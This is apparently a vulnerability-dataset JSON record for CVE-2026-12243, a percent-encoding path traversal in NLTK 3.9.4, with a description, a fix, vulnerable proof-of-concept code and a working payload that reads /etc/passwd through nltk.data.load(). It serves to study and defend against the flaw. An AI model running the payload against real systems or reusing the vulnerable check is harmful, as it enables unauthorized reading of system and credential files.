{"id":2040,"cve":"CVE-2026-12243","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-12243\/","cwe":"CWE-22","cwe_number":22,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/22","cvss_score":7.5,"published":"2026-06-30","owasp":"A01 Broken Access Control","odc":"Checking","cdc":"Incorrect Check","category":"Input Validation and Sanitization","subcategory":"Path Traversal","scope":"Remote","impact":"Information Disclosure","summary":"NLTK 3.9.4 path traversal via percent-encoding allows arbitrary file read.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-12243\/","description":"NLTK version 3.9.4 is vulnerable to a path traversal attack due to an incomplete fix for GitHub Issue #3504. The `_UNSAFE_NO_PROTOCOL_RE` regex in `nltk\/data.py` checks for literal `..\/` sequences but fails to account for percent-encoded traversal sequences such as `..%2f`. The `url2pathname()` function decodes these sequences after the validation step, allowing an attacker to bypass the protection. This vulnerability enables an attacker to read arbitrary files accessible to the Python process by controlling the resource name parameter passed to `nltk.data.load()` or `nltk.data.find()`. The issue affects applications that rely on NLTK for resource loading, including NLP web applications, Jupyter notebooks, and CLI tools. The default `pathsec.ENFORCE=False` setting exacerbates the impact by not blocking the file read at the `open()` stage.","solution":"Upgrade to NLTK version 3.9.5 or later.","affected_component":"NLTK","fixed_by_upgrading":true,"vulnerable_code":"import re\nfrom urllib.request import url2pathname\nimport os\n\n# Create a dummy environment for the proof-of-concept\nos.makedirs(\".\/nltk_data\/corpora\", exist_ok=True)\nwith open(\".\/secret.txt\", \"w\") as f:\n    f.write(\"This is sensitive content from an arbitrary file.\")\n\n# This regex from the vulnerable NLTK version fails to block encoded traversal.\n_UNSAFE_NO_PROTOCOL_RE = re.compile(r\"(^|\/)\\.\\.(\/|$)\")\n\ndef vulnerable_nltk_find(resource_name):\n    \"\"\"\n    A simplified representation of the vulnerable resource loading logic.\n    \"\"\"\n    base_path = \".\/nltk_data\/corpora\"\n\n    # 1. The security check is performed on the raw, encoded resource name.\n    #    A payload like '..%2f..%2fsecret.txt' will pass this check.\n    if _UNSAFE_NO_PROTOCOL_RE.search(resource_name):\n        raise ValueError(f\"Path traversal attempt blocked for '{resource_name}'\")\n\n    # 2. The resource name is decoded *after* the security check.\n    #    '..%2f' is converted to '..\/'.\n    decoded_path = url2pathname(resource_name)\n\n    # 3. The decoded path is used to construct the final file path, enabling traversal.\n    full_path = os.path.abspath(os.path.join(base_path, decoded_path))\n\n    # 4. The application reads the file from the traversed path.\n    with open(full_path, 'r') as f:\n        content = f.read()\n    return content\n\n# This malicious payload uses percent-encoding ('%2f' for '\/') to bypass the regex.\n# It traverses from '.\/nltk_data\/corpora' up two levels to read '.\/secret.txt'.\nmalicious_payload = \"..%2f..%2fsecret.txt\"\n\ntry:\n    # This call successfully exploits the vulnerability.\n    file_content = vulnerable_nltk_find(malicious_payload)\n    print(file_content)\nexcept Exception as e:\n    print(f\"Exploit failed: {e}\")\nfinally:\n    # Clean up the dummy environment\n    os.remove(\".\/secret.txt\")\n    os.rmdir(\".\/nltk_data\/corpora\")\n    os.rmdir(\".\/nltk_data\")","patched_code":"import os\nfrom urllib.parse import unquote\n\n# A list of base paths where NLTK data is stored.\n# This is a simplified representation of nltk.data.path.\n_DATA_DIRECTORIES = [\"\/var\/lib\/nltk_data\"]\n\ndef find_resource_fixed(resource_name: str) -> str:\n    \"\"\"\n    A corrected implementation of a resource location function that prevents\n    path traversal attacks.\n\n    This function fixes the vulnerability by first decoding any percent-encoded\n    characters in the resource name before validating that the resulting path\n    is securely located within a legitimate data directory.\n    \"\"\"\n    # 1. The Fix: Decode the resource name *before* any validation.\n    # This converts malicious sequences like '..%2f' into '..\/'.\n    try:\n        decoded_name = unquote(resource_name)\n    except (TypeError, ValueError):\n        raise ValueError(f\"Invalid resource name format: '{resource_name}'\")\n\n    # 2. For robust defense-in-depth, fully resolve the path and ensure it is\n    #    a subdirectory of an approved data directory. This is the most\n    #    reliable check against traversal.\n    for basedir in _DATA_DIRECTORIES:\n        # Resolve the absolute path of the allowed base directory.\n        resolved_basedir = os.path.abspath(basedir)\n\n        # Create a candidate path and resolve it to its absolute, canonical form.\n        # This collapses any '..' or '.' components.\n        candidate_path = os.path.join(resolved_basedir, decoded_name)\n        resolved_path = os.path.abspath(candidate_path)\n\n        # 3. Final Security Check: Ensure the resolved path is within the\n        #    allowed directory tree. `os.path.commonpath` is a safe way\n        #    to perform this check.\n        if os.path.commonpath([resolved_path, resolved_basedir]) != resolved_basedir:\n            # If the common path is not the base directory itself, it means\n            # the path has escaped the intended boundary.\n            raise ValueError(f\"Path traversal attempt blocked: '{resource_name}'\")\n\n        if os.path.exists(resolved_path):\n            return resolved_path  # Return the safe, resolved path.\n\n    raise LookupError(f\"Resource '{resource_name}' not found.\")","payload_needed":true,"payload":"```python\nimport nltk.data\n\n# This payload uses percent-encoded traversal sequences (..%2f) to bypass\n# the regex validation in NLTK 3.9.4. The url2pathname function later decodes\n# %2f to a slash, allowing path traversal to read arbitrary files.\nmalicious_resource_name = '..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd'\n\ntry:\n    # The load() or find() function triggers the vulnerability.\n    # Using format='raw' attempts to read the file's raw content.\n    file_content = nltk.data.load(malicious_resource_name, format='raw')\n    print(\"Vulnerable. File content:\\n\")\n    print(file_content.decode('utf-8'))\nexcept Exception as e:\n    print(f\"Exploit attempt resulted in an error (this is expected if the file exists but isn't where the payload assumes): {e}\")\n\n```","payload_status":"available","published_fix":[],"references":null}